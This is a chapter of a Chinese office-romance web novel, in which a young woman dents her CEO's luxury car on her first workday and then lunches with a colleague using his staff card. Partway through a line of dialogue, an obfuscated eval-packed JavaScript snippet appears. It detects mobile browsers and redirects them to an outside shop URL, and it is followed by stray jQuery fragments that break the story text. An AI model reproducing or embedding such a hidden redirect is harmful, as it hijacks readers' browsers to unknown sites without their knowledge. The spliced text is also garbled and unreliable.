周一,鹿昕开着她那辆宝马MINI开启牛马生活,阳光正好,空气清新,她一路上打着节拍,哼着歌,心情好不愉悦。
她开到地下停车场,拐角处有一个停车位,迎面开来一辆车,她眼疾手快加速拐过去。
倒车的过程中,眼看就要停正了,一个眼花的功夫,手一滑,车尾巴直接怼上旁边的车身。
鹿昕傻眼了几秒,迅速拉开车门查看情况,好在倒车的过程中,MINI一直处于龟速状态,直接顶上也没有明显的凹陷,看样子应该会蹭出几道划痕。
只不过这车看上去有点眼熟啊,低调奢华有内涵。
鹿昕走到车前看看车标。
库里南!
再看看车牌号。
俞含章的?
刚才迎面驶来的车子找到停车位稳稳停下,开车的司机是个三十多岁的男人。
他看到鹿昕撞上俞含章的库里南先是满脸震惊,而后取而代之的是幸灾乐祸。
“小姐姐,你说说你着急什么,我可不是那种不绅士的人,抢个停车位至于吗?俞总旁边的位置谁敢停,这下撞上了你可怎么赔吧。”男人语气里满满的幸灾乐祸。
“怎么赔就不劳你费心了。”鹿昕没分给他一个多余的眼神,低头给俞含章发信息。
食物链顶端的小鹿:【俞总,你车库里的车应该不少吧。】
莱宗俞含章:【怎么你有想要的?】
食物链顶端的小鹿:【你的车我怎么会想要呢,只不过最近一段时间你可能要换辆车开了?】
莱宗俞含章:【你把我车怎么了?】
果然老总的思维比别人都敏锐,不光在生意场上,日常中同样是哈。
鹿昕心虚地给他拍了张车祸现场,配文。
【我不是故意的。】
【你要是有意的我就该报警了,等着我马上下去。】
看热闹的男人见她面上没有恐慌,反而悠然自得地刷着手机。
他双手抱臂,倚靠在柱子上,看她最后如何收场。
“美女,我好心提醒你一下,你撞上的可是我们集团总裁俞总的爱驾,他对你这么浓妆艳抹的女人可不会有什么好脸色,你最好想想该怎么道歉,争取少赔点吧。”
男人不仅话说得没品,看人还戴有色眼镜。
鹿昕看到俞含章从电梯里出来,往他们方向走来,她心里顿时有个念头。
“先生,实在不好意思撞到您的车了。”
来上班前她特地化了个小白花妆容,她换上眼泪要掉不掉的样子,娇娇柔柔地朝俞含章走了过去。
挪步间眼睛眨巴眨巴地给他使眼色。
俞含章眸光掠过,看她挤眉弄眼的模样,心里了然,识趣地不说话,让她发挥。
鹿昕说:“是我全责,我该赔钱,可是我现在还赔不起,您能不能宽限我几天,或者我分期付款行不行?”
俞含章听明白了她现在扮演的角色,家境贫寒的灰姑娘,他是见色起意的冤大头。
“行,分期付款的事我们办公室聊。”
说罢,他转身长腿迈向电梯,鹿昕小跑跟上他,留下男人可以塞得下一个鸡蛋的嘴。
电梯里,鹿昕赞赏地朝俞含章点点头,肯定地说:“俞总很上道嘛。”
俞含章冷哼一声:“上道?我看你不要轻易上道。”
他远远地看见那辆沉寂的库里南和小它一圈的MINI紧挨在一起。
撞击的角度很刁钻,一般人难以实现。
“哪跟哪,修车的钱我一定会赔的,到时候账单发给我,姐给你报销。”鹿昕小手一挥,气势很足。
俞含章越听冷笑的意味越浓:“你给我报销?少给我添麻烦还差不多。”
“你嫌我麻烦?那为什么还要答应我妈,我不上班了我要告诉我妈。”
她趴在电梯门上,嚷嚷着要出去。
俞含章蹙眉拽住她西装后领往后拉。
“危险。”
电梯门上映射着站在一起的两人,同样的黑色西装,一个衬衫领带,一个黑白波点裙,脖子上搭着波点丝带。
象征着总裁身份的顶楼,电梯门应声打开,姚齐站在门口等着。
“俞总,鹿小姐。”
“姚齐,去停车场处理一下我和她的车。”
话还没说完,鹿昕打断:“我的责任,要赔的。”
俞含章好笑地瞥了她一眼,“把账单发给她。”
鹿昕吃瘪,尴尬说:“就知道你这个资本家没这么好心。”
“姚齐她交给你了,安排一下。”俞含章撂下一句话,大步离去。
姚齐领着鹿昕向俞含章离去的方向,穿过明亮的走廊,一排排办公桌映入眼帘,同事不算多,将近十个人。
他指了指一张空工位:“鹿昕,你就坐在这里,这里是总裁办,那位是俞总的执行总助理高助,主要负责公司的事务。”
被介绍的高挑美女站起来和鹿昕打招呼:“您好,我是高梦。”
“您好,高助,我叫鹿昕。”
高梦一身利落的职业西装,微笑点头后坐下。
鹿昕环视一圈发现整个总裁办的人都在观察自己,他们很有职业素养,只是用目光注视片刻后就移开了眼。
她坐在工位上,平复第一天上班的激动,姚齐把她带到工位上后就消失了,没给她布置任务。
鹿昕百无聊赖地打开电脑,把所有软件都打开了一遍。
今天一上午,她什么事都没干,不对,撞了辆车。
午饭时间,鹿昕趴在桌子上准备点个外卖吃,高梦主动找到她。
“吃饭了,走吧,对了,今天你第一天上班,还没工牌,吃饭用我的工牌吧。”
鹿昕想起来莱宗集团的食堂出了名的好吃,短视频上被集团的员工高度评价,不过只有集团的内部员工才能尝到。
“好啊。”
鹿昕抬脚跟上高梦,被突然出办公室的俞含章喊住。
“鹿昕。”他朝鹿昕抬手,手上拿着一个工牌。
鹿昕看见工牌眼睛一亮,大步朝他跑去,波点裙在空中扬起欢快的弧线,像一朵盛开的花。
她两三步到了俞含章面前,额前的碎发被吹到耳边,露出光洁的额头和一双亮得惊人的眼睛。
“卡里的钱不少,随便花。”俞含章喉结滚动,声音平平。
“够我请全公司的人吃饭吗?”鹿昕双手捧着接过工牌。
俞含章垂眼看她,眸光不浓不烈:“你可以试试。”
鹿昕虔诚地把工牌放在心口:“开玩笑的,谢谢啦!”转身跑回去。
“鹿昕,你和俞总认识啊。”高梦在一旁看了全过程。
“认识啊,公司里谁不认识俞总,我听说食堂里的糖醋小排很是一绝,是不是?”
鹿昕含糊着糊弄过去,高梦也听出来了她不想过多地说,也没再追问一下去。
高梦说:“对,我还跟我对象开玩笑呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525991|203501||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,说到时候我们都退休了,我一定要问问食堂阿姨糖醋小排的配方。”
鹿昕抓到重点,惊讶地问:“你对象也是我们公司的?”
“对,他是运营管理部的。”高梦谈及男友露出娇羞,俨然一副处在热恋的模样。
“集团里不是不让办公室恋情吗?”
高梦一脸诧异:“你从哪里听说的?我们集团没有这项规定。”
鹿昕不好意思地挠头:“电视剧里不都这样,我以为大公司都是。”
大公司的食堂修建得非常宽敞明亮,在饭点大家一拥而进,也不会拥挤。
在排队的过程中,鹿昕低头看挂在脖子上的工牌,正面贴在她的胸前。
她拿起工牌,一张俊颜出现在上面。
照片上的他穿着最简单的白衬衫,头发没有多余的发型,碎发随意垂在额前,少了几分平时的凌厉,多了些许少年气,那双眼睛依旧冷淡,隔着照片仍能感受到生人勿近的疏离感。
这是年轻几岁的俞含章,鹿昕感觉手里的工牌在发烫,灼烧着她的手掌。
她慌不择路地又把工牌贴回到心里,那股滚烫的热烈转移到心上。
俞含章为什么要把他的工牌给她。
鹿昕心虚地盖住照片完成了付款。
吃饭的过程中她掏出手机给俞含章发信息,对面高梦也看着手机乐呵呵地笑。
食物链顶端的小鹿:【为什么给我你的工牌?】
莱宗俞含章:【你的还没录好信息。】
食物链顶端的小鹿:【难怪你说让我试试卡里的钱能不能请公司全部的人吃饭,老总都无法做到的话,谁还能做到。】
莱宗俞含章:【你想得有点多,我的卡也不够。】
食物链顶端的小鹿:【???说了半天,你那语气,我以为卡里的钱可以买下天宫。】
莱宗俞含章:【每月莱宗对员工有午餐补助,根据职位的不同补助的金额不同,我虽然职位最高,但也没必要补助吃不了的钱,我不经常在食堂吃,所以钱都攒下来了。】
食物链顶端的小鹿:【卡里的钱能转吗?反正你又不用,到时候我的卡办好了你转给我吧。】
莱宗俞含章:【目前没有开发这项业务,如果能转不如顺便能提好了。】
食物链顶端的小鹿:【可惜?????我看可以,有的女孩子吃得少,或者她减肥,吃不了可以提出来花。】
莱宗俞含章:【补助不等于工资,工牌不等于银行卡。】
食物链顶端的小鹿:【可惜?????????】
莱宗俞含章:【我的卡不用,放在你那吧。】
食物链顶端的小鹿:【万岁,谢主隆恩。卡里的钱够我吃一辈子糖醋小排!】
鹿昕抬头看见高梦也正看着自己,对视一眼,默契地端起餐盘离开。
高梦介绍:“楼下还有咖啡厅,阅读室,健身房,都是公司免费提供的,还有一个小时到上班时间,我们去咖啡厅里坐坐吧。”
鹿昕:“难怪每年有这么多大学生前仆后继地想进莱宗,人文关怀确实可以。”
高梦想到什么,笑得打颤:“有句话这么说来着,俞总这是打着提供高待遇的名号培养死士。”
下午一点半准时上班,鹿昕临时上个厕所没和高梦一起回总裁办,当她踏进办公区的那一秒,无数道目光从四面八方投射过来。
她能感受到和上午的视线不同的是,这其中夹杂着探究,讽刺,奇怪。